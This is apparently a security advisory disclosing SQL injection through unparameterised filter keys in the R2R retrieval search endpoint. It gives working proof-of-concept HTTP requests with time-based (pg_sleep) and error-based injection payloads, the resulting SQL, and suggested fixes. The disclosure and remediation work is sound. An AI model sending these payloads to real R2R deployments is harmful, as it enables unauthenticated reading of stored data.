#2308·R2R

[Security] SQL Injection via Unparameterized Filter Keys in Search Endpoint

Author: DReazerCreated Sep 1, 2026Updated Sep 1, 2026

SQL Injection via Unparameterized Filter Keys in Search Endpoint

Package: SciPhi-AI/R2R Tested Versions: R2R 3.6.6 (pyproject.toml), Git main at 9c5a94d, Docker image sciphiai/r2r:latest (default config)


Affected Files

  • py/core/providers/database/filters.py_build_metadata_operator_condition() (filter key interpolation)
  • py/core/providers/database/chunks.pyfull_text_search() (injection sink)
  • py/core/main/api/v3/retrieval_router.pyPOST /v3/retrieval/search (entry point)
  • py/r2r/r2r.tomlrequire_authentication = false (default)

Root Cause

_build_metadata_operator_condition() constructs JSONB path accessors by interpolating the client-supplied filter key directly into a SQL string literal:

python
quoted_key = f"'{path_parts[0]}'"
json_accessor_text = f"{json_column} ->> {quoted_key}"
# produces: metadata ->> '<attacker-key>'

Filter values are bound as positional parameters ($1, $2, …); filter keys are not. A single quote in the key terminates the SQL string literal and allows injection into the WHERE clause assembled by full_text_search. On the default deployment require_authentication = false maps requests with no Authorization header to the built-in superuser, so no credential is required.


PoC

Control (no injection, ~30 ms):

http
POST /v3/retrieval/search HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json

{
  "query": "audit",
  "search_settings": {
    "use_semantic_search": false,
    "use_hybrid_search": false,
    "use_fulltext_search": true,
    "graph_settings": { "enabled": false },
    "filters": { "nope": "nope" }
  }
}

Time-based injection (key contains pg_sleep):

http
POST /v3/retrieval/search HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json

{
  "query": "audit",
  "search_settings": {
    "use_semantic_search": false,
    "use_hybrid_search": false,
    "use_fulltext_search": true,
    "graph_settings": { "enabled": false },
    "filters": {
      "x' IS NOT NULL OR (SELECT pg_sleep(5)) IS NULL OR 'a": "b"
    }
  }
}

Server renders:

sql
WHERE (fts @@ websearch_to_tsquery('english', $1)
   AND metadata ->> 'x' IS NOT NULL)
   OR (SELECT pg_sleep(5)) IS NULL
   OR ('a' = $1)

Actual response time: ~5.08 s (Burp: 6,004 ms). HTTP 200.

Error-based confirmation (no table rows required):

json
{ "filters": { "x' OR TRUE OR 'a": "b" } }

Response: HTTP 500, "argument of AND must be type boolean, not type text" — injected OR TRUE is parsed as SQL.


Impact

An unauthenticated attacker can inject arbitrary SQL predicates into the WHERE clause of the chunks search query, executing as the R2R PostgreSQL role (default compose: superuser postgres). Time-based and boolean-based data exfiltration from the r2r_default.chunks table is confirmed. Stacked queries are blocked by asyncpg prepared statements, limiting the sink to WHERE-clause predicates. When authentication is enabled, an authenticated user retains the same injection path; tenant constraints are AND-wrapped but the metadata key path remains injectable.


Suggested Remediation

Do not interpolate filter keys into SQL string literals. Bind JSON path segments as parameters, or allowlist path segments against [A-Za-z0-9_]+ and use quote_ident or to_jsonb operators instead of raw string literals. Escaping single quotes (' to '') alone is not sufficient. Set require_authentication = true as the default and do not map anonymous requests to the superuser account.